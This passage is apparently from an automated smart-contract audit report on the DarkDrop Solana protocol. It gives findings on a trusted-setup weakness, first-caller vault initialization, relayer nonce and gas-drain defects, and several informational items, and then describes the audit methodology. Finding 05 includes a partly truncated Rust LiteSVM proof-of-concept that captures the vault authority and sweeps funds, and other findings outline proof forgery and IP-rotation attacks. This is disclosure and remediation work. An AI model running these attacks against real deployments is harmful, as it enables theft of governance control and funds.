The note-pool claim path (claim_from_note_pool / claim_from_note_pool_spl) is a pure ZK gate: it moves no value itself, but it mints a CreditNote whose stored commitment is later opened and paid out by withdraw_credit. The only thing standing between a caller and an arbitrary-value credit note is the Groth16 check in verify_proof_v3 (verifier.rs:188-211). That check has exactly two soundness preconditions:

The invariant the on-chain code relies on is that a verifying V3 proof *proves* the public inputs [pool_merkle_root, pool_nullifier_hash, new_stored_commitment, recipient_hash] are the honest image of a real pool leaf — specifically that new_stored_commitment encodes the *same* amount that lives in a leaf actually present in the pool tree (note_pool.circom:49-94). If precondition (1) fails, that proof of knowledge is meaningless: anyone holding the secret delta can fabricate a proof for *any* public-input vector without a valid witness.

At HEAD this precondition is documented as failing. vk.rs:56-57 states the phase-2 setup behind both V2 and V3 is a "DEV-GRADE single-party phase-2 setup (devnet only) — to be superseded by the production MPC ceremony (scripts/ceremony.sh) before mainnet." V3 reuses the shared V1 Powers-of-Tau alpha/beta/gamma and differs only in V3_DELTA_G2 and V3_IC (vk.rs:11, vk.rs:125-126, vk.rs:128-175). A single-party phase-2 means one machine generated delta and there is no guarantee it was destroyed. With knowledge of that delta (the "toxic waste"), the Groth16 proving relation degenerates: forged proofs verify against verifying_key_v3() (vk.rs:177-186) for public inputs that no honest witness could produce.

This is not a defect in the in-scope Rust — the on-chain verifier is correctly checking the proof against the embedded IC points (verifier.rs:195-208). It is a load-bearing *boundary* dependency: the on-chain code cannot, even in principle, distinguish a forged-with-toxic-waste proof from an honest one, because both produce a mathematically valid pairing check against the same VK. The value-binding refutations that protect the pool layer (the on-chain guards in claim_from_note_pool.rs plus the circuit's amount/commitment constraints) all collapse to "trust the VK" once the ceremony is unsound.

Impact

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

Reproduction

This finding has no LiteSVM PoC because it is an off-chain ceremony/artifact defect, not an on-chain logic defect — demonstrating it requires the ceremony toxic waste or a circuit-level constraint gap (L3/L4 follow-up on the circuit and proving artifacts), not a transaction sequence against the deployed program. The exploit chain, assuming the dev-grade delta is recoverable (the default assumption for a single-party setup whose waste was not provably destroyed):

The same forgery primitive applies to V2 (claim_credit), since vk.rs:56-57 flags the identical single-party phase-2 for V2 — but this finding is scoped to the V3 pool-claim soundness boundary per issue #23.

Recommended fix

Layer 2 — Concrete proof of concept

No PoC source on file

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 05 / 10
Medium L2-06 init-front-running

Anyone who lands the first initialize_vault transaction becomes the permanent vault authority

InvariantThe vault authority (who can admin_sweep, pause, and rotate authority) must be the protocol's intended deployer, not whoever lands the first initialize_vault transaction.

ClusterThis finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is L2-06; co-occurring duplicates: c3. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

Affected code

Description

The vault authority holds the protocol's governance levers: it is the only key that passes has_one = authority on admin_sweep (admin_sweep.rs:67), pause_deposits (pause_deposits.rs:46), and the authority-rotation instructions (authority_rotation.rs:88). The invariant is that this authority must be the protocol's intended deployer — established by a key the deployer controls — not whoever happens to land the first initialize_vault transaction.

handle_initialize_vault violates this by unconditionally stamping the vault authority to the transaction's signer:

vault.authority = ctx.accounts.authority.key();   // initialize.rs:14

There is no check that the signer equals the program upgrade authority, a hardcoded key, or any other deploy-time anchor. The only validation in the handler is on drop_cap bounds (initialize.rs:8-9). In the account context, authority is declared as a bare, mutable Signer with no constraint (initialize.rs:84-85); the sole structural protection is the init constraint on the singleton [b"vault"] PDA (initialize.rs:53-59). That means exactly one caller can ever run this instruction, and whoever it is becomes authority permanently — there is no re-initialization path because the PDA is already allocated.

Impact

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

✓ Reproduced through deployed BPF instructions

Reproduction

PoC harness: poc/L2-06_m03_init_frontrun.rs — LiteSVM, real built darkdrop.so against program id GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU. Status: GREEN.

Proven result: the attacker captures vault.authority via first-caller-wins init; the deployer is permanently locked out; the obligation floor PROTECTS user principal so the attacker can sweep only genuine excess. The harness exits green with all assertions holding.

Recommended fix

Bind the authority to a deploy-time anchor rather than the first signer. Concretely, require that the init signer equals the program's upgrade authority by passing the program_data account and checking it inside the handler:

// In InitializeVault accounts:
#[account(constraint = program.programdata_address()? == Some(program_data.key()))]
pub program: Program<'info, crate::program::Darkdrop>,
#[account(constraint = program_data.upgrade_authority_address == Some(authority.key()))]
pub program_data: Account<'info, ProgramData>,

This ties initialization to the entity that already controls the deployed program, eliminating the race entirely. A simpler alternative is to compare authority.key() against a hardcoded Pubkey constant baked into the program, gated with require!(authority.key() == EXPECTED_DEPLOYER, DarkDropError::Unauthorized) in handle_initialize_vault. Either approach makes the first-caller-wins window unexploitable on-chain instead of relying on the atomic deploy+init convention.

Layer 2 — Concrete proof of concept (engine-direct)

// PoC L2-06 [Medium] — M-03 initialize_vault first-caller-wins authority (no on-chain guard)
// status: SOUND | reachable=true  (validated against HEAD)
//
// Proves: (1) any unprivileged signer who lands initialize_vault FIRST becomes
// Vault.authority; (2) the legit deployer is permanently locked out of re-init;
// (3) the attacker — and ONLY the attacker — can drive admin_sweep past the
// `has_one = authority` gate, draining treasury excess to itself, while the
// legit deployer's admin_sweep is rejected by that same constraint.
//
// Ground truth (code at HEAD):
//   - handler:  instructions/initialize.rs:7-49 (vault.authority = authority.key(), :14)
//   - accounts: #[derive(Accounts)] InitializeVault (initialize.rs:51-88)
//   - sweep:    instructions/admin_sweep.rs:11-80 (has_one=authority at :67)
//   - lib.rs:14 program id GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU
//
// Run (set DARKDROP_SO to the built darkdrop.so):
//   DARKDROP_SO=/abs/darkdrop.so cargo test --test l2_06 -- --nocapture

use litesvm::LiteSVM;
use solana_sdk::{
    account::ReadableAccount,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_program,
    transaction::Transaction,
};
use std::str::FromStr;

const PROGRAM_ID_STR: &str = "GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU";

// Anchor 0.30.1 global instruction discriminators = sha256("global:<name>")[..8].
const DISC_INITIALIZE_VAULT: [u8; 8] = [48, 191, 163, 44, 71, 129, 63, 164];
const DISC_ADMIN_SWEEP: [u8; 8] = [98, 231, 31, 170, 146, 98, 102, 35];
const DISC_CREATE_DROP: [u8; 8] = [157, 142, 145, 247, 92, 73, 59, 48];

const SOL: u64 = 1_000_000_000;
const DROP_CAP: u64 = 5 * SOL;

fn load(svm: &mut LiteSVM, pid: Pubkey) {
    let so = std::env::var("DARKDROP_SO").expect("set DARKDROP_SO to darkdrop.so path");
    let bytes = std::fs::read(&so).unwrap_or_else(|e| panic!("read {so}: {e}"));
    svm.add_program(pid, &bytes);
}

fn read_vault_authority(data: &[u8]) -> Pubkey {
    // 8-byte account discriminator + 1-byte bump = offset 9, then Pubkey(32).
    let mut k = [0u8; 32];
    k.copy_from_slice(&data[9..41]);
    Pubkey::new_from_array(k)
}

fn ix_initialize_vault(
    program_id: &Pubkey,
    vault: &Pubkey,
    merkle_tree: &Pubkey,
    treasury: &Pubkey,
    authority: &Pubkey,
    drop_cap: u64,
) -> Instruction {
        &[ix], Some(&attacker.pubkey()), &[&attacker], svm.latest_blockhash(),
    );
    assert!(
        svm.send_transaction(tx).is_err(),
        "attacker sweep of pure principal must be floor-blocked (ZeroAmount)"
    );
    assert_eq!(
        svm.get_account(&treasury).unwrap().lamports(), principal,
        "user principal must be untouched by the captured authority"
    );

    // What the captured authority CAN take: genuine EXCESS above the obligation
    // floor (accrued fees / stray lamports not tracked by total_deposited).
    let excess = 200_000_000u64; // 0.2 SOL of untracked excess
    svm.airdrop(&treasury, excess).unwrap();
    // Fresh blockhash so this sweep tx isn't a byte-for-byte duplicate of the
    // earlier floor-blocked attacker sweep (litesvm dedups identical signatures).
    svm.expire_blockhash();
    let attacker_before = svm.get_account(&attacker.pubkey()).unwrap().lamports();
    let ix = ix_admin_sweep(&program_id, &vault, &treasury, &attacker.pubkey());
    let tx = Transaction::new_signed_with_payer(
        &[ix], Some(&attacker.pubkey()), &[&attacker], svm.latest_blockhash(),
    );
    svm.send_transaction(tx).expect("attacker sweeps genuine excess (has_one passes)");
    let attacker_after = svm.get_account(&attacker.pubkey()).unwrap().lamports();
    let treasury_after = svm.get_account(&treasury).unwrap().lamports();

    assert!(attacker_after > attacker_before, "attacker captured the excess");
    assert!(treasury_after >= principal, "principal still protected; only excess swept");

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 06 / 10
Medium L2-07 relayer-liveness

Relayer marks the deposit nonce as permanently used before the on-chain create_drop is submitted, so a crash in that window strands already-received user funds

InvariantA user whose deposit funds have already been received by the relayer (verifyDepositTx ok) must always have a path to get those funds turned into a claimable leaf (or refunded). A persisted single-use nonce must only be permanently retained when the corresponding on-chain create_drop is known to have landed.

Affected code

Description

Invariant: once a user's deposit funds have actually been received by the relayer (the funded System transfer landed and verifyDepositTx passed), the user must always retain a path to turn those funds into a claimable Merkle leaf — or to be refunded. A persisted single-use nonce must be permanently retained only when the matching on-chain create_drop is *known* to have landed.

The relayer violates this by committing the nonce to durable storage before it has any evidence the on-chain transaction succeeded, and by making that commitment effectively irreversible across a process restart:

The net effect: the funds have left the user's wallet into the relayer hot wallet (verify-deposit.ts:50-129 confirms the transfer source = user, destination = relayer, lamports == amount), but no leaf was ever inserted and the only off-chain handle to recover is a nonce that is now locked closed for all time.

Impact

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

Reproduction

This is an off-chain availability defect; the trigger is an ordinary process death, not a fund-drain primitive, so it is established by tracing the durable-state ordering rather than by an on-chain harness:

The window can be widened deliberately: an attacker who can induce relayer restarts (e.g. via the unverified-V3 gas-drain in L2-08 / M-01, or by exhausting the per-IP-only rate limit) raises the probability of catching a victim's deposit mid-window. The same defect exists verbatim in the note-pool twin (pool.ts:93 mark, :131-137 submit/unmark), so both the base and pool deposit relays are affected.

Recommended fix

Make the durable "this nonce is consumed" record reflect *on-chain truth* rather than *intent to submit*, and provide a reconciliation path:

Layer 2 — Concrete proof of concept

No PoC source on file

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 07 / 10
Medium L2-08 relayer-gas-drain

Pool-claim relay submits and pays for transactions doomed to revert because it skips the on-chain nullifier pre-check the base endpoint performs

InvariantOff-chain pre-verification must reject any request the relayer can foresee will fail on-chain — including a valid proof whose nullifier is already spent — so the relayer never pays a base+priority fee for a TX doomed to revert.

Affected code

Description

Invariant: off-chain pre-verification must reject any request the relayer can foresee will fail on-chain — including a *valid* proof whose nullifier is already spent — so the relayer never signs and pays a base + priority fee for a transaction that is doomed to revert.

The pool-claim endpoint verifies the V3 Groth16 proof off-chain but then submits the transaction without checking the on-chain state that decides whether the transaction can actually land.

On-chain, the only signal that distinguishes a redeemable proof from a doomed one is account state the off-chain verifier never reads. claim_from_note_pool.rs:139-146 declares pool_nullifier_account with #[account(init, ..., seeds = [b"pool_nullifier", pool_nullifier_hash.as_ref()])], so a replay of an already-spent nullifier fails when Anchor tries to init the existing PDA ("account already in use"). The transaction reverts with no state harm, but the relayer has already paid the base signature fee plus the priority/compute budget attached at pool-claim.ts:130-133 (ComputeBudgetProgram.setComputeUnitLimit({ units: config.v3PoolClaimCu })). Because the verifier passes (the proof is genuinely valid) and the only distinguishing fact (PDA already exists) is on-chain state it never queries, this is a self-funded gas bleed the off-chain verifier structurally cannot stop.

Two cheaper variants share the same root cause — off-chain verification that does not consult on-chain state:

The rate limiter at index.ts:52-59 is mounted on the /api/relay prefix with app.set("trust proxy", 1) (index.ts:40), so it keys on client IP. An attacker rotates source IPs to defeat the per-IP cap and submit each doomed proof many times.

Impact

This is the narrowed, still-live residual of M-01 after the off-chain verifier was added. The verifier catches *invalid* proofs; it does not catch *valid-yet-doomed* ones, because the on-chain-state pre-flight the base credit endpoint has was never ported to the pool endpoint.

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

Reproduction

This is an off-chain relayer (TypeScript) defect; the chain reverts cleanly (no state harm), so the loss is realized only as the relayer keypair's spent SOL, not as a program-state corruption a LiteSVM run would surface. The reasoning chain:

The "no state harm" claim is confirmed by reading the on-chain handler: the init failure (and the InvalidRoot / NonCanonicalInput rejections) abort the transaction before any account is mutated, so the only cost is the relayer's fee. The asymmetry that makes this live is confirmed by direct comparison: credit.ts:108-111 does the getAccountInfo nullifier pre-check, pool-claim.ts does not.

Recommended fix

Port the symmetric on-chain-state pre-flight from credit.ts:108-111 to pool-claim.ts, before signing and submitting:

Layer 2 — Concrete proof of concept

No PoC source on file

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 08 / 10
Info L2-05 accounting-underflow

Verified safe: admin_sweep / admin_sweep_spl floor arithmetic cannot be bricked by an over-withdrawal (investigated, not a finding)

Invariantoutstanding obligations (total_deposited - total_withdrawn) must never be negative; the sweep floor must remain computable for the lifetime of the vault.

Description

The post-state the DoS depends on — total_withdrawn > total_deposited — cannot be produced through the program's instructions, because every lamport withdraw_credit adds to total_withdrawn it must first pass a treasury-balance gate, and the treasury balance is itself total_deposited - total_withdrawn by construction.

Therefore the invariant treasury_balance_above_rent == total_deposited - total_withdrawn holds across every state transition. The require!(amount <= available) at withdraw_credit.rs:121 is exactly the obligation floor the hypothesis assumed was *missing*: it caps each withdrawal at the remaining treasury balance, so the cumulative sum of withdrawals can never exceed the cumulative sum of deposits, and total_withdrawn can never overtake total_deposited. The checked_sub at admin_sweep.rs:21 thus never underflows on a vault driven only by program instructions.

The SPL twin is symmetric: withdraw_credit_spl.rs:90-93 gates on mint_vault.amount >= amount and :136-138 increments mint_config.total_withdrawn by the same amount, so admin_sweep_spl.rs:46-49 is protected identically.

Impact

Informational. No security impact.

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

Reproduction

This is an investigated-and-cleared item, so the reproduction is a refutation rather than a successful exploit:

Recommended fix

No fix required for the underflow itself — the checked_sub + Err(Overflow) pattern at admin_sweep.rs:21-23, admin_sweep_spl.rs:46-49, and revoke_drop.rs:82-84 is the correct fail-closed behavior and should be retained. Two hardening notes:

Layer 2 — Concrete proof of concept

No PoC source on file

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 09 / 10
Info L2-09 spl-bounds-reuse

SPL deposit bounds are denominated in SOL lamports, not the mint's own base units

InvariantDeposit amount bounds should be expressed in the asset's own units so the min-deposit anti-dust floor and the per-asset cap are meaningful for every supported mint.

Affected code

Description

Deposit-amount bounds should be expressed in the asset's own units, so the min-deposit anti-dust floor and the per-deposit value cap carry meaningful economic semantics for every supported mint. The SOL flow defines two such bounds in state.rs, both explicitly lamport-denominated:

Both SPL deposit entrypoints apply these same lamport constants directly to SPL token amount values, which are in the mint's own base units (a function of the mint's decimals), with no per-decimals scaling:

The code comments at create_drop_spl.rs:30-35 and create_drop_to_pool_spl.rs:47-49 openly acknowledge this: "MIN_DEPOSIT_LAMPORTS and Vault.drop_cap are lamport-denominated for SOL. For SPL we reuse them as raw-base-unit thresholds, which is intentionally loose for the first SPL ix... A real per-mint cap will ship later as a MintConfig field." So for a 6-decimal stablecoin, the floor of 10,000 base units equals 0.01 token (an arbitrary number, not a meaningful anti-dust floor), and the cap of 100,000,000,000 base units equals 100,000 tokens (an arbitrary ceiling unrelated to the intended ~100-SOL economic limit). The bound values are mis-scaled per mint because the unit they were calibrated in (lamports) is not the unit they are now compared against (mint base units).

Impact

No fund loss and no attacker privilege required — this is an economic-semantics / configuration mismatch, not a vulnerability. Concretely:

Preconditions: at least one SPL mint registered whose decimals differ from the 9-decimal SOL convention the constants were calibrated against (i.e. essentially any real stablecoin or token). It affects honest and malicious depositors symmetrically and confers no economic advantage to either, since the per-mint solvency counters and sweep floor are unaffected.

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

Reproduction

This is not a fund-drain and there is no exploit harness; it is a characterized correctness/UX observation, so the reasoning is given instead of an attack run:

Recommended fix

Move the deposit bounds onto MintConfig so they are expressed in each mint's own base units, exactly as the in-code comment anticipates ("A real per-mint cap will ship later as a MintConfig field"):

Until that schema change ships, document the limitation in operator-facing material (a fresh-registration mint should not be relied upon to enforce a meaningful dust floor or value cap), and avoid registering mints whose decimals make the lamport-calibrated thresholds nonsensical.

Layer 2 — Concrete proof of concept

No PoC source on file

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 10 / 10
Info L2-10 stale-comment

Comment in claim_credit_spl claims pubkey_to_field is a local copy, but the file imports and calls the shared poseidon::pubkey_to_field

InvariantComments describing safety-critical crypto encoding must reflect the actual code so future maintainers do not 'fix' a non-problem or trust a wrong mental model.

Affected code

Description

Comments that describe safety-critical cryptographic encoding must match the code they sit on, so a future maintainer does not build a wrong mental model and either skip auditing the real function or "fix" a non-problem.

The doc comment at claim_credit_spl.rs:59-63 asserts that the recipient field-element function "is duplicated locally so this file does not depend on internal items of claim_credit.rs (which is audited code we choose not to touch)." That statement is false on the current code at two levels:

The shared definition itself, poseidon.rs:36, carries the contradicting history in its own doc comment (poseidon.rs:34-35): "Audit 06 L-03 consolidated the previously-duplicated copies here to remove drift risk." So the consolidation already happened; the claim_credit_spl.rs comment describes the pre-consolidation world that no longer exists.

This is documentation drift, not an exploitable defect. The actual encoding is correct and shared, which is the desired state.

Impact

No runtime impact, no fund loss, no preconditions, no attacker privilege required — this is purely a maintainer-facing hazard. The risk is downstream cognitive: an auditor or maintainer who trusts the comment may (a) skip auditing the real shared poseidon::pubkey_to_field, believing the relevant copy lives inline in this file, or (b) act on the comment literally and re-inline a local copy "to match the comment," which would reintroduce exactly the L-03 encoding drift that the Audit 06 consolidation removed. Because pubkey_to_field is the safety-critical on-chain mirror of the circuit's recipient binding (poseidon.rs:33-34: it "MUST match the circuit's encoding or every claim flow fails with InvalidProof"), a re-inlined copy that later drifts from the circuit would break every SPL claim.

This finding also corrects the audit MAP: section D / watchlist #5 lists claim_credit_spl.rs:64 as a "local re-implementation" of the recipient hash. At HEAD that line is a call to the shared import, so the watchlist entry is stale for this file and should not be treated as an open duplication-drift surface.

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

Reproduction

There is no runtime behavior to reproduce; this is a comment-versus-code mismatch verified by reading the source at HEAD (64e562b95dad8a901b41f99028f9adba3c3c036e):

Outcome: the comment describes a code shape (a local copy, plus a private function inside claim_credit.rs) that does not exist on HEAD. No PoC; nothing to execute.

Recommended fix

Replace the stale comment with one that states the actual structure. Concretely, at claim_credit_spl.rs:59-63, drop the "duplicated locally / does not depend on internal items of claim_credit.rs" wording and say that the recipient field element is produced by the shared crate::poseidon::pubkey_to_field (consolidated in Audit 06 L-03 to eliminate drift), which both claim_credit.rs and claim_credit_spl.rs import so the SOL and SPL recipient-binding encodings cannot diverge. For example:

// Recipient field element — Poseidon(hi_128, lo_128). Computed by the
// shared crate::poseidon::pubkey_to_field, which both claim_credit.rs and
// claim_credit_spl.rs import so the SOL and SPL recipient encodings stay
// identical to the circuit's. (Audit 06 L-03 consolidated the previously
// duplicated copies into crate::poseidon to remove drift risk — do NOT
// re-inline a local copy.)
let recipient_hash = pubkey_to_field(&ctx.accounts.recipient.key());

Separately, update MAP section D / watchlist #5 to reflect that claim_credit_spl.rs:64 is a shared-import call site, not a local re-implementation, so the duplication-map matches HEAD.

Layer 2 — Concrete proof of concept

No PoC source on file

Layer P3 — Proposed structural fix (patch diff)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

A — Severity rubric

TierDefinition
CriticalDirect loss of user funds or full protocol takeover with no meaningful preconditions. Reachable from a permissionless instruction by any signer. Must be patched immediately.
HighSignificant loss of user funds or protocol invariant violation under realistic preconditions (specific market state, signer with limited but obtainable role). Patch should ship in next release.
MediumHardening issue, partial loss possible, or invariant violation requiring privileged signer or improbable state. Worth fixing in normal cadence.
LowMinor issue with no plausible path to fund loss. Code-quality or defense-in-depth concern.
InfoInformational. No security impact. Documentation or style suggestion.

B — Methodology

Layer overview

LayerFunction
Layer 1 Multi-agent recon. For each hypothesis, parallel LLM agents read the engine source and return a TRUE / FALSE / NEEDS_LAYER_2_TO_DECIDE verdict with confidence + per-agent grounding.
Layer 1.5 Adversarial debate. Contested verdicts (NEEDS_L2 or split verdicts) are promoted through a single-round attacker / defender debate, with a separate judge resolving the final verdict.
Layer 2 Concrete proof-of-concept. An inverted-assertion test is authored in Rust and run via cargo test. The test "fires" iff an abort with a custom error code originates in the target module (not stdlib / setup).
Layer 2.5 Triage. An LLM judge classifies each fire as STRONG (real bug), SOFT (wrong invariant), FALSE (artifactual abort), or LOST (signal missing). STRONG fires are clustered by (engine_function, target_file) so the same code-site bug under multiple hypothesis IDs collapses to one root cause.
Layer 3 Symbolic verification. Kani-based bounded model checking. The harness asserts the violated invariant; Kani either finds a counterexample within the bounded depth or proves safety.
Layer 4 On-chain BPF reproduction. The Solana program is deployed into LiteSVM and the PoC re-executed through the deployed instructions, confirming the wrapper-side defenses don't catch the bug.
Layer P3 Fix-bundle pipeline. The LLM authors a structural patch against the confirmed root cause and verifies it through a 6-gate machine check (well-formed diff, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still pass, and a language-specific symbolic/runtime check — Kani for Solana, Move Prover for Aptos, Halmos for Solidity, CBMC for C, fast-check property testing for TypeScript). Gates auto-skip when the language doesn’t apply (the symbolic / runtime gates of one toolchain skip on cycles authored against another, with that language’s verdict already reported under Layer 3 / Layer 4); the test-suite gate skips for eval targets that ship without a unified runner. Operator authorization is required before any upstream PR is opened.

Cycle execution

This cycle was produced by Jelleo's continuous, hypothesis-driven Solana audit loop. Every finding originates as a falsifiable invariant claim from a per-protocol hypothesis library, dispatched to Layer 1 multi-agent recon, promoted on contested verdicts via Layer 1.5 adversarial debate, and confirmed empirically through a Layer 2 cargo test proof-of-concept. Layer 2.5 triage classifies each fire as STRONG / SOFT / FALSE / LOST; only STRONG cluster representatives advance to confirmed and appear in §01 above. SOFT and STRONG duplicates land in triaged; FALSE fires return to new. Lifecycle: new → triaged → confirmed → disclosed → fixed → verified. Every cycle is signed Ed25519 against the platform key — see the cover-page receipt.

Hypotheses
137
from class library
PoC fires
4
4 fires triaged
STRONG
10
STRONG 4 · SOFT 0 · FALSE 0 · LOST 0 (+ 6 promoted on bundle-verifier evidence)
Root causes
10
10 STRONG → 10 after curation
Confirmed
10
reach this report

Non-fire accounting6 hypotheses were tested but the PoC did not fire — 6× confirmed. These are hypotheses where Layer 1 / Layer 1.5 returned a verdict but the Layer 2 PoC author either declined to produce a test (no plausible attack) or the test ran without an abort in the target module.

§ B.1 — Cycle funnel. Hypotheses tested → PoC fires → Layer 2.5 judge filters out artifactual / mis-invariant fires → surviving STRONG fires cluster by code site → cluster representatives become published findings.

C — Audit artifacts

All cycle artifacts are persisted on disk and verifiable independently of this report. The table below lists the canonical paths under the cycle workspace so a reviewer can re-execute every layer or recompute the cycle Merkle root.

ArtifactPath (relative to workspace)
Cycle summary (manifest of every step)hunts/<cycle>/hunt_summary.json
Per-step event loghunts/<cycle>/hunt.log.jsonl (absent in this cycle)
Layer 2.5 triage verdictshunts/<cycle>/triage.jsonl
Layer 2 PoC sources (Rust)hunts/<cycle>/poc/test_<slug>.rs
Layer 2 PoC run logshunts/<cycle>/poc/cargo_<slug>.log
Layer 3 Kani harnesses + verdictshunts/<cycle>/kani/<slug>/
Layer 4 LiteSVM exploit testshunts/<cycle>/litesvm/<slug>/
Layer P3 fix bundles (patch.diff + evidence/ + manifest.json)hunts/<cycle>/bundles/<finding_id>/
Narrative writeups (per finding)hunts/<cycle>/narratives/<hyp_id>.md
Cycle Merkle root (tamper-evidence)hunts/<cycle>/merkle.json (absent in this cycle)
Findings DB (SQLite)findings.db
Ed25519 public key for receipt verificationhttps://jelleo.com/keys/jelleo.ed25519.pub

D — Disclaimers

Findings in this report reflect the state of the engine source at the commit hash on the cover page. Subsequent changes to the codebase are not analyzed. The report is not a guarantee of code correctness or security: it documents invariants that fired (or held) under the hypothesis library applied during this cycle. Out-of-scope items are listed in §00.1 (Scope).

§03 reflects bundle-level state. A row is treated as a confirmed finding when the bundle’s machine verification gates (PoC fails pre-patch + PoC passes post-patch + tests still pass) all hold, even if the Layer 2.5 LLM judge initially classified the fire as SOFT / FALSE / LOST — the verifier’s empirical patch-defuses-bug evidence supersedes the judge. Rows that did not reach a confirmed lifecycle state are retained in §03 as audit-trail evidence but are not published findings; the authoritative set is whatever appears in §01.

Communication channel: security@jelleo.com (PGP key on jelleo.com/security.html). Coordinated disclosure follows the timeline published in our security policy; pre-disclosure leak protections are enforced at the report level (the --public renderer suppresses confirmed-but-not-disclosed findings).

Methodology spec: docs/methodology/ · Live reference: jelleo.com/methodology.html · Source: github.com/Copenhagen0x/audit-pipeline-cli